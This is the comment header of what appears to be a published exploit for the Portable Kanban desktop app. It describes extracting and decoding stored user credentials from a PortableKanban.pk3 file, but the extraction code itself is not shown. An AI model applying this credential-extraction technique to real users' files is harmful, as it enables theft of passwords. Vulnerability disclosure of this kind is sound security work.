# Software Link: https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
# Version: Tested on: 4.3.6578.38136. All versions that use the similar file format are likely vulnerable.
# Tested on: Windows 10 x64. Exploit likely works on all OSs that PBK runs on.

# PortableKanBan stores credentials in an encrypted format
# Reverse engineering the executable allows an attacker to extract credentials from local storage
# Provide this program with the path to a valid PortableKanban.pk3 file and it will extract the decoded credentials
